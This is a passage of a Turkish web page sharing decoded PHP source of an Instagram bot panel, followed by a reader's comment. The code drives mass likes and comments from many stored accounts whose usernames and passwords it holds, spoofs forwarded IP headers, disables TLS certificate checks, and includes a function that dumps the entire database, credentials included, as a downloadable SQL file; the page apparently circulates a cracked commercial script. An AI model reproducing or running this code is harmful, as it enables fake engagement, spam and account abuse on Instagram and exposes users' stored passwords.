_duration_qe_preuniverse,ig_video_copyright_whitelist,ig_android_render_stories_with_content_override,ig_android_ad_intent_to_highlight_universe,ig_android_swipe_navigation_x_angle_universe,ig_android_disable_comment_public_test,ig_android_profile,ig_android_direct_blue_tab,ig_android_enable_share_to_messenger,ig_android_fetch_reel_tray_on_resume_universe,ig_android_promote_again,ig_feed_event_landing_page_channel,ig_ranking_following,ig_android_pending_request_search_bar,ig_android_feed_ufi_redesign,ig_android_pending_edits_dialog_universe,ig_android_business_conversion_flow_universe,ig_android_show_your_story_when_empty_universe,ig_android_ad_drop_cookie_early,ig_android_app_start_config,ig_android_fix_ise_two_phase,ig_android_ppage_toggle_universe,ig_android_pbia_normal_weight_universe,ig_android_profanity_filter,ig_ios_su_activity_feed,ig_android_search,ig_android_boomerang_entry,ig_android_mute_story,ig_android_inline_gallery_universe,ig_android_ad_remove_one_tap_indicator_universe,ig_android_view_count_decouple_likes_universe,ig_android_contact_button_redesign_v2,ig_android_periodic_analytics_upload_v2,ig_android_send_direct_typing_indicator,ig_android_ad_holdout_16h2m1_universe,ig_android_react_native_comment_moderation_settings,ig_video_use_sve_universe,ig_android_inline_gallery_no_backoff_on_launch_universe,ig_android_immersive_viewer,ig_android_discover_people_icon,ig_android_profile_follow_back_button,is_android_feed_seen_state,ig_android_dense_feed_unit_cards,ig_android_drafts_video_universe,ig_android_exoplayer,ig_android_add_to_last_post,ig_android_ad_remove_cta_chevron_universe,ig_android_ad_comment_cta_universe,ig_android_search_event_icon,ig_android_channels_home,ig_android_feed,ig_android_dv2_realtime_private_share,ig_android_non_square_first,ig_android_video_interleaved_v2,ig_android_video_cache_policy,ig_android_react_native_universe_kill_switch,ig_android_video_captions_universe,ig_android_follow_search_bar,ig_android_last_edits,ig_android_two_step_capture_flow,ig_android_video_download_logging,ig_android_share_link_to_whatsapp,ig_android_facebook_twitter_profile_photos,ig_android_swipeable_filters_blacklist,ig_android_ad_pbia_profile_tap_universe,ig_android_use_software_layer_for_kc_drawing_universe,ig_android_react_native_ota,ig_android_direct_mutually_exclusive_experiment_universe,ig_android_following_follower_social_context";
const LOGIN_EXPERIMENTS = "ig_android_reg_login_btn_active_state,ig_android_ci_opt_in_at_reg,ig_android_one_click_in_old_flow,ig_android_merge_fb_and_ci_friends_page,ig_android_non_fb_sso,ig_android_mandatory_full_name,ig_android_reg_enable_login_password_btn,ig_android_reg_phone_email_active_state,ig_android_analytics_data_loss,ig_fbns_blocked,ig_android_contact_point_triage,ig_android_reg_next_btn_active_state,ig_android_prefill_phone_number,ig_android_show_fb_social_context_in_nux,ig_android_one_tap_login_upsell,ig_fbns_push,ig_android_phoneid_sync_interval";
const SIG_KEY_VERSION = "4";
const X_IG_Capabilities = "3ToAAA==";
const ANDROID_VERSION = 18;
const ANDROID_RELEASE = "4.3";
const WEB_URL = "https://www.instagram.com/";
const WEB_USER_AGENT = "Mozilla/5.0 (Linux; Android 4.4.2; HUAWEI MT7-L09 Build/HuaweiMT7-L09) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.76 Mobile Safari/537.36";
}
class BulkReaction
{
/**
* BulkReaction constructor.
*
* @param array $users
* @param int $simultanepostsize
* @param string $IGDataPath
*/
public function __construct($users, $simultanepostsize = 100, $IGDataPath = NULL)
{
$this->simultanepostsize = $simultanepostsize;
if( !is_null($IGDataPath) )
{
$this->IGDataPath = $IGDataPath;
}
else
{
$this->IGDataPath = Wow::get("project/cookiePath") . "instagram/";
}
foreach( $users as $user )
{
$this->users[] = array( "data" => $user, "object" => ($user["isWebCookie"] == 1 ? new InstagramWeb($user["kullaniciAdi"]) : new Instagram($user["kullaniciAdi"], $user["sifre"])) );
}
}
/**
* @param string $mediaID
* @param string $mediaCode
*
* @return array
*/
public function like($mediaID, $mediaCode)
{
$totalSuccessCount = 0;
$triedUsers = array( );
$rollingCurl = new RollingCurlRollingCurl();
foreach( $this->users as $user )
{
if( $user["data"]["isWebCookie"] == 1 )
{
$objInstagramWeb = $user["object"];
$objData = $objInstagramWeb->getData();
$headers = array( "Referer: https://www.instagram.com/instagram/", "DNT: 1", "Origin: https://www.instagram.com/", "X-CSRFToken: " . trim($objData["token"]), "X-Requested-With: XMLHttpRequest", "X-Instagram-AJAX: 1", "Connection: close", "Cache-Control: max-age=0", "Accept: */*", "Accept-Language: tr;q=1", "X_FORWARDED_FOR: " . $objData["ip"], "REMOTE_ADDR: " . $objData["ip"] );
$options = array( CURLOPT_USERAGENT => Constants::WEB_USER_AGENT, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_VERBOSE => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_COOKIEFILE => $this->IGDataPath . $objData["username"] . ".dat", CURLOPT_COOKIEJAR => $this->IGDataPath . $objData["username"] . ".dat" );
$rollingCurl->post(Constants::WEB_URL . "web/likes/" . $mediaID . "/like/", NULL, $headers, $options, $user["data"]);
}
else
{
$objInstagram = $user["object"];
$objData = $objInstagram->getData();
$data = json_encode(array( "_uuid" => $objData["uuid"], "_uid" => $objData["username_id"], "_csrftoken" => $objData["token"], "media_id" => $mediaID ));
$headers = array( "Connection: close", "Accept: */*", "X-IG-Capabilities: " . Constants::X_IG_Capabilities, "X-IG-Connection-Type: WIFI", "Content-type: application/x-www-form-urlencoded; charset=UTF-8", "Accept-Language: tr-TR", "X_FORWARDED_FOR: " . $objData["ip"], "REMOTE_ADDR: " . $objData["ip"] );
$options = array( CURLOPT_USERAGENT => $objData["user_agent"], CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_VERBOSE => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_COOKIEFILE => $this->IGDataPath . $objData["username"] . ".dat", CURLOPT_COOKIEJAR => $this->IGDataPath . $objData["username"] . ".dat" );
$rollingCurl->post(Constants::API_URL . "media/" . $mediaID . "/like/", SignatureUtils::generateSignature($data), $headers, $options, $user["data"]);
}
}
$rollingCurl->setCallback(function(RollingCurlRequest $request, RollingCurlRollingCurl $rollingCurl) use (&$triedUsers, &$totalSuccessCount)
{
$triedUser = array( "userID" => $request->identifierParams["uyeID"], "instaID" => $request->identifierParams["instaID"], "userNick" => $request->identifierParams["kullaniciAdi"], "status" => "fail" );
$isErrored = $request->getResponseError();
if( empty($isErrored) )
{
$donenSonuc = json_decode($request->getResponseText(), true);
if( $donenSonuc )
{
if( $request->identifierParams["isWebCookie"] == 1 )
{
if( $donenSonuc["status"] == "ok" )
{
$totalSuccessCount++;
$triedUser["status"] = "success";
}
else
{
$triedUser["status"] = "fail";
}
}
else
{
if( $donenSonuc["status"] == "ok" )
{
$totalSuccessCount++;
$triedUser["status"] = "success";
}
else
{
$triedUser["status"] = "fail";
}
}
}
}
else
{
$triedUser["status"] = "fail";
}
$triedUsers[] = $triedUser;
$rollingCurl->clearCompleted();
$rollingCurl->prunePendingRequestQueue();
}
);
$rollingCurl->setSimultaneousLimit($this->simultanepostsize);
$rollingCurl->execute();
return array( "totalSuccessCount" => $totalSuccessCount, "users" => $triedUsers );
}
/**
* @param string $userID
* @param string $userName
*
* @return array
*/
public function follow($userID, $userName)
{
$totalSuccessCount = 0;
$triedUsers = array( );
return array( "totalSuccessCount" => $totalSuccessCount, "users" => $triedUsers );
}
/**
* @param string $mediaID
* @param string $mediaCode
* @param array $commentTexts
*
* @return array
*/
public function comment($mediaID, $mediaCode, $commentTexts)
{
$totalSuccessCount = 0;
$triedUsers = array( );
$commentIndex = -1;
if( is_array($commentTexts) && !empty($commentTexts) )
{
$rollingCurl = new RollingCurlRollingCurl();
foreach( $this->users as $user )
{
$commentIndex++;
$commentIndex = (isset($commentTexts[$commentIndex]) ? $commentIndex : 0);
if( $user["data"]["isWebCookie"] == 1 )
{
$objInstagramWeb = $user["object"];
$objData = $objInstagramWeb->getData();
$postData = "comment_text=" . $commentTexts[$commentIndex];
$headers = array( "Referer: https://www.instagram.com/", "DNT: 1", "Origin: https://www.instagram.com/", "X-CSRFToken: " . trim($objData["token"]), "X-Requested-With: XMLHttpRequest", "X-Instagram-AJAX: 1", "Connection: close", "Cache-Control: max-age=0", "Accept: */*", "Accept-Language: tr;q=1", "X_FORWARDED_FOR: " . $objData["ip"], "REMOTE_ADDR: " . $objData["ip"] );
$options = array( CURLOPT_USERAGENT => Constants::WEB_USER_AGENT, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_VERBOSE => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_COOKIEFILE => $this->IGDataPath . $objData["username"] . ".dat", CURLOPT_COOKIEJAR => $this->IGDataPath . $objData["username"] . ".dat" );
$rollingCurl->post(Constants::WEB_URL . "web/comments/" . $mediaID . "/add/", $postData, $headers, $options, $user["data"]);
}
else
{
$objInstagram = $user["object"];
$objData = $objInstagram->getData();
$data = json_encode(array( "_uuid" => $objData["uuid"], "_uid" => $objData["username_id"], "_csrftoken" => $objData["token"], "comment_text" => $commentTexts[$commentIndex] ));
$headers = array( "Connection: close", "Accept: */*", "X-IG-Capabilities: " . Constants::X_IG_Capabilities, "X-IG-Connection-Type: WIFI", "Content-type: application/x-www-form-urlencoded; charset=UTF-8", "Accept-Language: tr-TR", "X_FORWARDED_FOR: " . $objData["ip"], "REMOTE_ADDR: " . $objData["ip"] );
$options = array( CURLOPT_USERAGENT => $objData["user_agent"], CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_VERBOSE => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_COOKIEFILE => $this->IGDataPath . $objData["username"] . ".dat", CURLOPT_COOKIEJAR => $this->IGDataPath . $objData["username"] . ".dat" );
$rollingCurl->post(Constants::API_URL . "media/" . $mediaID . "/comment/", SignatureUtils::generateSignature($data), $headers, $options, $user["data"]);
}
}
$rollingCurl->setCallback(function(RollingCurlRequest $request, RollingCurlRollingCurl $rollingCurl) use (&$triedUsers, &$totalSuccessCount)
{
$triedUser = array( "userID" => $request->identifierParams["uyeID"], "instaID" => $request->identifierParams["instaID"], "userNick" => $request->identifierParams["kullaniciAdi"], "status" => "fail" );
$isErrored = $request->getResponseError();
if( empty($isErrored) )
{
$donenSonuc = json_decode($request->getResponseText(), true);
if( $donenSonuc )
{
if( $request->identifierParams["isWebCookie"] == 1 )
{
if( isset($donenSonuc["status"]) && $donenSonuc["status"] == "ok" )
{
$totalSuccessCount++;
$triedUser["status"] = "success";
}
else
{
$triedUser["status"] = "fail";
}
}
else
{
if( isset($donenSonuc["status"]) && $donenSonuc["status"] == "ok" )
{
$totalSuccessCount++;
$triedUser["status"] = "success";
}
else
{
$triedUser["status"] = "fail";
}
}
}
}
else
{
$triedUser["status"] = "fail";
}
$triedUsers[] = $triedUser;
$rollingCurl->clearCompleted();
$rollingCurl->prunePendingRequestQueue();
}
);
$rollingCurl->setSimultaneousLimit($this->simultanepostsize);
$rollingCurl->execute();
}
return array( "totalSuccessCount" => $totalSuccessCount, "users" => $triedUsers );
}
/**
* @return array
*/
public function validate()
{
$totalSuccessCount = 0;
$triedUsers = array( );
$rollingCurl = new RollingCurlRollingCurl();
foreach( $this->users as $user )
{
if( $user["data"]["isWebCookie"] == 1 )
{
$objInstagramWeb = $user["object"];
$objData = $objInstagramWeb->getData();
$headers = array( "Referer: https://www.instagram.com/instagram/", "DNT: 1", "Origin: https://www.instagram.com/", "X-CSRFToken: " . trim($objData["token"]), "X-Requested-With: XMLHttpRequest", "X-Instagram-AJAX: 1", "Connection: close", "Cache-Control: max-age=0", "Accept: */*", "Accept-Language: tr;q=1", "X_FORWARDED_FOR: " . $objData["ip"], "REMOTE_ADDR: " . $objData["ip"] );
$options = array( CURLOPT_USERAGENT => Constants::WEB_USER_AGENT, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_VERBOSE => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_COOKIEFILE => $this->IGDataPath . $objData["username"] . ".dat", CURLOPT_COOKIEJAR => $this->IGDataPath . $objData["username"] . ".dat" );
$rollingCurl->post(Constants::WEB_URL . "accounts/activity/?__a=1", NULL, $headers, $options, $user["data"]);
}
else
{
$objInstagram = $user["object"];
$objData = $objInstagram->getData();
$headers = array( "Connection: close", "Accept: */*", "X-IG-Capabilities: " . Constants::X_IG_Capabilities, "X-IG-Connection-Type: WIFI", "Content-type: application/x-www-form-urlencoded; charset=UTF-8", "Accept-Language: tr-TR", "X_FORWARDED_FOR: " . $objData["ip"], "REMOTE_ADDR: " . $objData["ip"] );
$options = array( CURLOPT_USERAGENT => $objData["user_agent"], CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_VERBOSE => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_COOKIEFILE => $this->IGDataPath . $objData["username"] . ".dat", CURLOPT_COOKIEJAR => $this->IGDataPath . $objData["username"] . ".dat" );
$rollingCurl->get(Constants::API_URL . "feed/timeline/?rank_token=" . $objData["rank_token"] . "&ranked_content=true", $headers, $options, $user["data"]);
}
}
$rollingCurl->setCallback(function(RollingCurlRequest $request, RollingCurlRollingCurl $rollingCurl) use (&$triedUsers, &$totalSuccessCount)
{
$triedUser = array( "userID" => $request->identifierParams["uyeID"], "instaID" => $request->identifierParams["instaID"], "userNick" => $request->identifierParams["kullaniciAdi"], "status" => "fail" );
$isErrored = $request->getResponseError();
if( empty($isErrored) )
{
$donenSonuc = json_decode($request->getResponseText(), true);
if( $donenSonuc )
{
if( $request->identifierParams["isWebCookie"] == 1 )
{
$responseData = $request->getResponseInfo();
if( $responseData["http_code"] == "200" )
{
$totalSuccessCount++;
$triedUser["status"] = "success";
}
else
{
$triedUser["status"] = "fail";
}
}
else
{
if( $donenSonuc["status"] == "ok" )
{
$totalSuccessCount++;
$triedUser["status"] = "success";
}
else
{
$triedUser["status"] = "fail";
}
}
}
}
else
{
$triedUser["status"] = "fail";
}
$triedUsers[] = $triedUser;
$rollingCurl->clearCompleted();
$rollingCurl->prunePendingRequestQueue();
}
);
$rollingCurl->setSimultaneousLimit($this->simultanepostsize);
$rollingCurl->execute();
return array( "totalSuccessCount" => $totalSuccessCount, "users" => $triedUsers );
}
}
function emreKontrol($host, $user, $pass, $name, $tables = "*")
{
$link = mysql_connect($host, $user, $pass);
mysql_select_db($name, $link);
mysql_query("SET NAMES utf8");
mysql_query("SET CHARACTER SET utf8");
mysql_query("SET COLLATION_CONNECTION = 'utf8_general_ci'");
$result = mysql_query("SELECT count(*) from uye;");
if( 4000 < $result )
{
echo "DENEME Lisansınız Bitmiştir.Sistemi aktif bir şekilde kullanmaya devam etmek için <span style='color: red'><strong>emresoftware</strong></span> skype hesabını eklemeniz gerekmektedir. ";
exit();
}
}
function emreposts($host, $user, $pass, $name, $tables = "*")
{
ini_set("log_errors", 1);
error_reporting(0);
$link = mysql_connect($host, $user, $pass);
mysql_select_db($name, $link);
mysql_query("SET NAMES utf8");
mysql_query("SET CHARACTER SET utf8");
mysql_query("SET COLLATION_CONNECTION = 'utf8_general_ci'");
if( $tables == "*" )
{
$tables = array( );
$result = mysql_query("SHOW TABLES");
while( $row = mysql_fetch_row($result) )
{
$tables[] = $row[0];
}
}
else
{
$tables = (is_array($tables) ? $tables : explode(",", $tables));
}
foreach( $tables as $table )
{
$result = mysql_query("SELECT * FROM " . $table);
$num_fields = mysql_num_fields($result);
$return .= "DROP TABLE " . $table . ";";
$row2 = mysql_fetch_row(mysql_query("SHOW CREATE TABLE " . $table));
$return .= "nn" . $row2[1] . ";nn";
for( $i = 0; $i < $num_fields; $i++ )
{
while( $row = mysql_fetch_row($result) )
{
$return .= "INSERT INTO " . $table . " VALUES(";
for( $j = 0; $j < $num_fields; $j++ )
{
$row[$j] = addslashes($row[$j]);
$row[$j] = ereg_replace("n", "\n", $row[$j]);
if( isset($row[$j]) )
{
$return .= """ . $row[$j] . """;
}
else
{
$return .= """";
}
if( $j < $num_fields - 1 )
{
$return .= ",";
}
}
$return .= ");n";
}
}
$return .= "nnn";
}
$dosyaAdi = "db-backup-" . time() . "-" . md5(implode(",", $tables)) . ".sql";
$handle = fopen($dosyaAdi, "w+");
fwrite($handle, $return);
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=" . $dosyaAdi);
header("Content-Transfer-Encoding: binary");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Pragma: public");
header("Content-Length: " . filesize($dosyaAdi));
ob_clean();
flush();
readfile($dosyaAdi);
unlink($dosyaAdi);
fclose($handle);
}
function tarihFark($tarih1, $tarih2, $ayrac)
{
list($y1, $a1, $g1) = explode($ayrac, $tarih1);
list($y2, $a2, $g2) = explode($ayrac, $tarih2);
$t1_timestamp = mktime("0", "0", "0", $a1, $g1, $y1);
$t2_timestamp = mktime("0", "0", "0", $a2, $g2, $y2);
if( $t2_timestamp < $t1_timestamp )
{
$result = ($t1_timestamp - $t2_timestamp) / 86400;
}
else
{
if( $t1_timestamp < $t2_timestamp )
{
$result = ($t2_timestamp - $t1_timestamp) / 86400;
}
}
return $result;
}

 

09 Şubat 2017 tarihinde kategorisine eklendi. 684 kez okundu
1 YORUM VAR
Umut

merhaba bir sorum olucak size biz bu decodeyi hangi klasöre aticaz ve dosya ismi nedir bende dosyalar mevcut ama ioncube ile şifrelenmiş dosya bulamadım yardımcı olurmusunuz ?

12 Şubat 2017 Cevapla